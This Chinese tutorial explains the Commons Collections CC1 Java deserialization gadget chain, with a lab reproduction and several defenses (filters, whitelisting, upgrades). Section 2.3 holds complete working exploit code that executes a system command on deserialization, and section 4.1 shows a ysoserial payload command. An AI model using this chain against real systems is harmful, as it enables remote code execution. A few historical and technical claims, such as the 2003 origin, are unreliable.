1. Java反序列化漏洞基础认知
第一次听说Java反序列化漏洞时,我正调试一个电商平台的订单导出功能。系统突然抛出诡异的ClassCastException,跟踪堆栈发现是ObjectInputStream读取数据时触发的异常。这个偶然事件让我意识到,看似普通的对象序列化操作背后竟隐藏着如此危险的安全陷阱。
序列化本质上是将内存中的对象状态转化为字节流的过程,而反序列化则是其逆操作。Java原生通过ObjectOutputStream/ObjectInputStream实现这一机制,但问题出在readObject()方法会无条件执行对象的构造逻辑。攻击者精心构造的恶意序列化数据,就像特洛伊木马,一旦被反序列化就会触发预设的攻击链。
2. CommonsCollections攻击链剖析
2.1 漏洞环境搭建
我们先复现经典攻击场景。使用Maven创建测试项目,引入存在漏洞的CC组件版本:
xml复制<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
关键漏洞类位于org.apache.commons.collections.functors包中,特别是InvokerTransformer这个"危险品"。它的transform方法通过反射调用任意方法,如同给攻击者递上了一把万能钥匙。
2.2 攻击链构造原理
完整的CC1攻击链像多米诺骨牌,需要多个组件协同工作:
- InvokerTransformer:反射执行命令的核心类
- ChainedTransformer:将多个Transformer串联执行
- TransformedMap/LazyMap:触发transform方法的入口点
- AnnotationInvocationHandler:JDK内部类,反序列化触发点
构造过程就像组装乐高积木。我们先用InvokerTransformer定义最终要执行的命令(如Runtime.getRuntime().exec("calc")),然后用ChainedTransformer将多个Transformer连接起来。当Map对象被修改时,就会触发整个调用链。
警示:在测试环境执行弹计算器命令即可,切勿尝试破坏性命令
2.3 完整攻击代码实现
java复制Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Override.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(instance);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); // 触发漏洞
这段代码就像组装好的机关盒,当反序列化时就会层层触发最终执行系统命令。每个Transformer就像齿轮上的一个齿牙,环环相扣形成完整的攻击链条。
3. 漏洞深度防御方案
3.1 临时缓解措施
在紧急情况下可以采用以下方案:
- JVM层防护:使用SecurityManager或Agent技术拦截危险操作
java复制SecurityManager mgr = new SecurityManager() {
@Override
public void checkExec(String cmd) {
throw new SecurityException("禁止执行命令: " + cmd);
}
};
System.setSecurityManager(mgr);
- 序列化过滤器:Java 9+提供的ObjectInputFilter
java复制ObjectInputFilter filter = info -> {
if (info.serialClass() != null &&
info.serialClass().getName().contains("InvokerTransformer")) {
return ObjectInputFilter.Status.REJECTED;
}
return ObjectInputFilter.Status.UNDECIDED;
};
ObjectInputStream ois = new ObjectInputStream(bais);
ois.setObjectInputFilter(filter);
3.2 根本解决方案
-
组件升级:将Commons-Collections升级到3.2.2+或4.0+版本,这些版本对Transformer接口做了安全限制
-
白名单校验:实现自定义的ObjectInputStream,只允许反序列化可信类
java复制public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> whitelist =
Set.of("java.lang.String", "java.util.HashMap");
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!whitelist.contains(desc.getName())) {
throw new InvalidClassException("类不在白名单中", desc.getName());
}
return super.resolveClass(desc);
}
}
- 替代序列化方案:考虑使用JSON/XML等更安全的序列化格式,或者使用Protobuf等二进制协议
4. 实战检测与防护
4.1 漏洞检测技巧
在代码审计时重点关注以下危险模式:
- 直接使用ObjectInputStream且未做防护
- 接收外部序列化数据的接口
- 使用了旧版CC组件的系统
使用自动化工具扫描时要注意误报,最好人工验证:
bash复制# 使用ysoserial生成测试payload
java -jar ysoserial.jar CommonsCollections1 "id" > payload.bin
# 用十六进制查看器检查特征
xxd payload.bin | grep -A 10 "InvokerTransformer"
4.2 防护体系构建
完整的防护应该包含多个层面:
- 网络层:WAF规则拦截包含CC类名的序列化数据
- 应用层:统一处理所有反序列化操作
- 运行时:通过RASP技术监控危险行为
- 开发规范:禁止使用原生Java序列化传输数据
在Spring项目中可以添加全局拦截器:
java复制@ControllerAdvice
public class SerializationAdvice implements ResponseBodyAdvice<Object> {
@Override
public boolean supports(MethodParameter returnType,
Class<? extends HttpMessageConverter<?>> converterType) {
return converterType.equals(SerializingHttpMessageConverter.class);
}
@Override
public Object beforeBodyWrite(Object body, MethodParameter returnType,
MediaType selectedContentType,
Class<? extends HttpMessageConverter<?>> selectedConverterType,
ServerHttpRequest request, ServerHttpResponse response) {
if (body instanceof Serializable) {
// 执行深度检测
checkForMaliciousContent(body);
}
return body;
}
}
5. 从CC1看安全开发之道
这个经典漏洞给我们的启示远超技术本身。在项目中使用第三方库时,我养成了三个习惯:
- 版本监控:用OWASP Dependency-Check定期扫描依赖
bash复制mvn org.owasp:dependency-check-maven:check
- 最小权限:即使必须使用危险功能,也要在沙箱中运行
java复制AccessController.doPrivileged((PrivilegedAction<Void>) () -> {
// 受限代码
return null;
}, AccessController.getContext(),
new RuntimePermission("accessDeclaredMembers"));
- 防御式编程:对任何外部输入都保持怀疑,包括看似安全的序列化数据
每次复盘CC1漏洞,都让我想起安全领域的铁律:"永远不要信任用户输入"。这个诞生于2003年的漏洞,至今仍在提醒我们:安全不是功能完成后才考虑的附加项,而是必须内建于每个设计决策的核心要素。